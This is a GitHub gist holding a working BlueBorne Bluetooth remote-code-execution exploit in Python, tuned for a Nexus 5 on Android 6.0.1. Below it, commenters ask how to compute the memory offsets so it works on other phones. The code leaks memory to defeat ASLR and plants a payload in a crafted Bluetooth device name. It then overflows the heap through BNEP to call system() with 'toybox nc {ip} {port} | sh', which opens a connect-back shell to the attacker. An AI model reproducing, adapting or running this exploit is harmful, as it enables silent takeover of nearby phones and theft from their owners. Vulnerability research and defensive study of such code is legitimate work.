Skip to content

Instantly share code, notes, and snippets.

@jesux
Created November 3, 2017 10:14
Show Gist options
  • Star 30 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save jesux/64cf037c55c0d42196762c0ccacc7380 to your computer and use it in GitHub Desktop.
Save jesux/64cf037c55c0d42196762c0ccacc7380 to your computer and use it in GitHub Desktop.
Blueborne RCE PoC - Nexus5 6.0.1
import os
import sys
import time
import struct
import select
import binascii
import bluetooth
from bluetooth import _bluetooth as bt
import bluedroid
import connectback
from pwn import log
# Listening TCP ports that need to be opened on the attacker machine
NC_PORT = 1233
STDOUT_PORT = 1234
STDIN_PORT = 1235
# Exploit offsets work for these (exact) libs:
# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so
# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26 /system/lib/hw/bluetooth.default.so
# bullhead:/ # sha1sum /system/lib/libc.so
# 0b5396cd15a60b4076dacced9df773f75482f537 /system/lib/libc.so
# For Pixel 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1
# Nexus 5 6.0.1
LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 + 1 # system + 1
LIBC_SOME_BLX_OFFSET = 0x5825b
# For Nexus 5X 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1
# Aligned to 4 inside the name on the bss (same for both supported phones)
#BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4
#BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244
# Nexus 5 6.0.1
BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c
BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x144d80
MAX_BT_NAME = 0xf5
# Payload details (attacker IP should be accessible over the internet for the victim phone)
SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'
PWNING_TIMEOUT = 3
BNEP_PSM = 15
PWN_ATTEMPTS = 1
LEAK_ATTEMPTS = 1
def set_bt_name(payload, src_hci, src, dst):
# Create raw HCI sock to set our BT name
raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
flt = bt.hci_filter_new()
bt.hci_filter_all_ptypes(flt)
bt.hci_filter_all_events(flt)
raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)
# Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
raw_sock.close()
#time.sleep(1)
time.sleep(0.1)
# Connect to BNEP to "refresh" the name (does auth)
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))
bnep.close()
# Close ACL connection
os.system('hcitool dc %s' % (dst,))
#time.sleep(1)
def set_rand_bdaddr(src_hci):
addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
# NOTW: works only with CSR bluetooth adapters!
os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
(src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
final_addr = ':'.join(addr)
log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
#time.sleep(1)
while bt.hci_devid(final_addr) < 0:
time.sleep(0.1)
return final_addr
def memory_leak_get_bases(src, src_hci, dst):
prog = log.progress('Doing stack memeory leak...')
# Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
result = bluedroid.do_sdp_info_leak(dst, src)
#print("Leak: %s" % result) # Debug, show leak array
# Calculate according to known libc.so and bluetooth.default.so binaries
#likely_some_libc_blx_offset = result[-3][-2]
#likely_some_bluetooth_default_global_var_offset = result[6][0]
# Nexus 5 6.0.1
likely_some_libc_blx_offset = result[6][1]
likely_some_bluetooth_default_global_var_offset = result[10][7]
# Show leak address
log.info("LIBC 0x%08x" % likely_some_libc_blx_offset)
log.info("BT 0x%08x" % likely_some_bluetooth_default_global_var_offset)
libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET
bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET
log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))
# Close SDP ACL connection
os.system('hcitool dc %s' % (dst,))
time.sleep(0.1)
prog.success()
return libc_text_base, bluetooth_default_bss_base
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
# Gen new BDADDR, so that the new BT name will be cached
src = set_rand_bdaddr(src_hci)
# Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
# 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
# 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
#payload = struct.pack('<III', 0x41411722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'
# x -> payload address (name has 4 bytes of padding)
x = acl_name_addr+4
shell_addr = x+24 # SHELL SCRIPT address
ptr0 = x+16 -4 # points to ptr0+4 (ptr1)
ptr1 = x+8 -8 # points to ptr1+8 (ptr2)
ptr2 = x+20 -28 # points to ptr2+28 (system_addr)
#payload = 'A'+ struct.pack('<IIIIII', shell_addr, 0x41414141, ptr2, 0x42424242, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
payload = 'A'+ struct.pack('<IIIIII', shell_addr, ptr1, ptr2, ptr0, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
log.info("shelladdr 0x%08x" % shell_addr)
log.info("ptr0 0x%08x" % ptr0)
log.info("ptr1 0x%08x" % ptr1)
log.info("ptr2 0x%08x" % ptr2)
log.info("system 0x%08x" % system_addr)
log.info("PAYLOAD %s" % payload)
assert len(payload) < MAX_BT_NAME
assert b'\x00' not in payload
# Puts payload into a known bss location (once we create a BNEP connection).
set_bt_name(payload, src_hci, src, dst)
prog = log.progress('Connecting to BNEP again')
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))
prog.success()
prog = log.progress('Pwning...')
# Each of these messages causes BNEP code to send 100 "command not understood" responses.
# This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
# These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
# Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
for i in range(20):
bnep.send(binascii.unhexlify('8109' + '800109' * 100))
# Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
# This is highly likely to fully overflow over instances of "list_node_t" which is exactly
# 8 bytes long (and is *constantly* used/allocated/freed on the heap).
# Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
# under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
for i in range(1000):
# If we're blocking here, the daemon has crashed
_, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
if not writeable:
break
bnep.send(binascii.unhexlify('810100') +
struct.pack('<II', 0, ptr0))
else:
log.info("Looks like it didn't crash. Possibly worked")
prog.success()
def main(src_hci, dst, my_ip):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))
sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)
for i in range(PWN_ATTEMPTS):
log.info('Pwn attempt %d:' % (i,))
# Create a new BDADDR
src = set_rand_bdaddr(src_hci)
#set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search
# Try to leak section bases
for j in range(LEAK_ATTEMPTS):
libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
break
else:
assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"
system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base
assert acl_name_addr % 4 == 0
log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))
pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
# Check if we got a connectback
readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
if readable:
log.info('Done')
break
else:
assert False, "Pwning failed all attempts"
connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)
if __name__ == '__main__':
main(*sys.argv[1:])
@slim8shady9
Copy link

Congrats for the edit of this PoC!
How did you calculate the LIBC_SOME_BLX_OFFSET, BSS_ACL_REMOTE_NAME_OFFSET and BLUETOOTH_BSS_SOME_VAR_OFFSET for Hammerhead?

@jirojo2
Copy link

jirojo2 commented Nov 5, 2017

@jearyorg
Copy link

Hi,jesux I read your article about blueborne and i have take LIBC_TEXT_STSTEM_OFFSET and LIBC_SOME_BLX_OFFSET from libc.so and bluetooth.default.so,but I do not know BSS_ACL_REMOTE_NAME_OFFSET and BLUETOOTH_BSS_SOME_VAR_OFFSET how to get it,I guess it comes from "com.android.bluetooth" process?can you help me got it,thanks:)

@jesux
Copy link
Author

jesux commented Nov 14, 2017

BLUETOOTH_BSS_SOME_VAR_OFFSET is needed to ASLR bypass, this var is the offset from bluetooth.default.so library base address and the leaked address. This variable is similar LIBC_SOME_BLX_OFFSET.

BSS_ACL_REMOTE_NAME_OFFSET is the location of the device name (usb bluetooth) in process memory, located in bluetooth.default.so heap/mapped section.

@breadchris
Copy link

If anyone ran into the same issues I did attaching to bluetooth with gdb, go here and check this out: https://source.android.com/devices/tech/debug/gdb. Especially the "Debugging apps or processes that crash" section if you are getting permission denied errors :)

@kolet
Copy link

kolet commented Dec 5, 2017

hi,
i tried to find these files with the same sha1 hash with not success

i downloaded all avaible ROM of 6.0.1 for Nexus 5 from google
https://developers.google.com/android/images

hammerhead-mob30d-factory-43d1482d.zip
hammerhead-m4b30x-factory-10cfaa5c.zip
hammerhead-mob30h-factory-2c178ff7.zip
hammerhead-mmb29k-factory-e5796b14.zip
hammerhead-mob30m-factory-af019693.zip
hammerhead-mmb29q-factory-27d8a4a5.zip
hammerhead-mob30p-factory-8d36be0c.zip
hammerhead-mmb29s-factory-82c3474f.zip
hammerhead-mob30y-factory-5bea6457.zip
hammerhead-mmb29v-factory-7f1b9c7e.zip
hammerhead-mob31e-factory-90504514.zip
hammerhead-mmb29x-factory-9ebfbf54.zip
hammerhead-m4b30z-factory-625c027b.zip

i mounted the system.img and checked the libc.so one by one to match the sha1.
but no one of them match the sha1 that u provided ..

@caiqiqi
Copy link

caiqiqi commented Dec 10, 2017

I think this line "import bluetooth" excludes many systems for this script to run on. I tried many methods on my Mac and a linux VM, but I failed. I think this script could only be run on "a physical machine running linux with bluetooth hardware"? Is that so?

@jesux
Copy link
Author

jesux commented Dec 19, 2017

@kolet This exploit is for MOB30P, Kali NetHunter version. Also, the exploit works in other versions with minimal changes in bluetooth offset.

@caiqiqi "import bluetooth" is from original Armis exploit, I only modified the offsets and payload code.

@nallamuthu
Copy link

I am not able to find the sys.system function in libc.so library(Nexus Mobile) why? But I am able to find the system function in another mobile libc.so when I issue afl~system command. Could you please assist?

@SWGJR
Copy link

SWGJR commented Jan 5, 2018

Hi Jesus,

First I'd like to say great job on the write-up. I am learning both python (normally a C coder) and the inner workings of bluetooth as a whole and this has been a good exercise in security as well as an opportunity to get my hands dirty with a new 'fun' language.

I have run into a bit of confusion regarding some of the offsets and the methods by which they are generated. In particular are:
BSS_ACL_REMOTE_NAME_OFFSET
likely_some_libc_blx_offset
likely_some_bluetooth_default_global_var_offset

I cannot seem to find a relationship using the 'known offsets' LIBC_TEXT_STSTEM_OFFSET, LIBC_SOME_BLX_OFFSET, BLUETOOTH_BSS_SOME_VAR_OFFSET or any of the source values that are used to generate them in determining the above offsets in question.

What determines the choice of value contained in the results elements as assigned to the 'likely' variables in order to obtain the appropriate element indexes?

If the contained values are not the deciding the factor in element selection, how are you choosing the indexes for the result table elements ([6][1] & [10][7]) to retrieve 'unknown' but 'likely' values?

How are you determining the BSS_ACL_REMOTE_NAME_OFFSET? It cannot be calculated using the searchmem addresses and known base values. I may be missing something simple I suspect.

Thanks, and feliz año nuevo.

@sergeyzapor
Copy link

sergeyzapor commented Jan 16, 2018

It works on Nexus 7 2013 mob30x with near the same input.

@danielwangksu
Copy link

danielwangksu commented Feb 2, 2018

Hi @jesux and all (@SWGJR, @sergeyzapor, @jearyorg ), thank you so much for developing this PoC script. I'm trying to learn this attack and your code. But I'm not sure how did you calculate those offset values. It would be very helpful if you can shed some lights on the following questions for me.

  1. I know LIBC_TEXT_STSTEM_OFFSET is the system() function address but we need to add "+ 1"?

  2. How did you get BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c

Thank you very much!

@sergeyzapor
Copy link

sergeyzapor commented Feb 6, 2018

I am not sure, but try to unblock 211 line to searchmem TESTTEST:
#set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search
And don't forget to block it again.

@danielwangksu
Copy link

Hi all (@SWGJR, @sergeyzapor, @jearyorg), I also work on Nexus 7 2013 mob30x after reading some post about the details of ret2plt I made my changes to those offset variable. The exploit worked one time. Then every time I launch the attack it fails either due to bluetooth crash or says "socket.error host is done".

Also, I still do not know how to calculate BSS_ACL_REMOTE_NAME_OFFSET (I used 0x20450c)

Can some of you provide some advice? Especially @sergeyzapor could you share your experience since you worked on the same device. Thank you!

@sergeyzapor
Copy link

sergeyzapor commented Feb 7, 2018

I also used 0x3ea04(with success to find) and 0x20450c(without success to find) and 0x5825b(without full understanding why exactly 58(not 57 or 59). I only changed last 2 digits in 0x144d80 (I used 0x144d7c with I hope full understanding why 144) to meat the demand of 216 line. I fink that 0x5825b and 0x144d7c are near the sizes of libc.so and bluetooth.default.so .
P.S. It works only sometimes by me. What exactly changes did you?

@danielwangksu
Copy link

danielwangksu commented Feb 7, 2018

@sergeyzapor thank you! Yeah, I'm using the exactly the same number. I found 0x3ea04 using r2. I figured out why uses 0x144d7c and 0x5825b, it is the absolute offset in the libc.so and bluetooth.default.so (you get it by using the leaked address minus the beginning address of the corresponding libc.so and bluetooth.default.so, then you got the absolute offset). Although how did he figure out to use result[6][1] and result[10][7].

However, I do not know how did he calculate the BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c. There is no enough information in the post. I thought it is related to:

x = acl_name_addr+4
shell_addr = x+24 # SHELL SCRIPT address
ptr0 = x+16  -4 # points to ptr0+4 (ptr1)
ptr1 = x+8   -8 # points to ptr1+8 (ptr2)
ptr2 = x+20 -28 # points to ptr2+28 (system_addr)

But I could not figure out how exactly he 0x20450c. Also, I'm very confused by the calculation such as, acl_name_addr+4 and x+24 and x+16 -4

I made the attack work twice in the last 3 hours. It is not very reliable at all. I doubt it is due to the wrong BSS_ACL_REMOTE_NAME_OFFSET in my case because I'm pretty sure the rests are correct. But I'm not sure how to get it right. I used the set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) function and GDB-ARM-PEDA I found the address for "TESTTESTTESTTEST" is 0xb3a9b31f in my testing runtime. But I do not know how to calculate the offset correctly.

@jesux can you please provide some insight? Thank you!

@sergeyzapor
Copy link

sergeyzapor commented Feb 7, 2018

@danielwangksu Can you describe in details how you found 0xb3a9b31f?

@marcinguy
Copy link

Here is my experience exploiting BlueBorne on unpatched Android 7.1.2 - https://github.com/marcinguy/android712-blueborne/blob/master/README.md

@wartek69
Copy link

anyone found the way on how to calculate BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c ?

@P3BTBB
Copy link

P3BTBB commented May 2, 2018

i got the hexdump from peda-arm, but i can't tell how BSS_ACL_REMOTE_NAME_OFFSET is calculated... i hope, that anyone can help and explain, how to calculate BSS_ACL_REMOTE_NAME_OFFSET !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment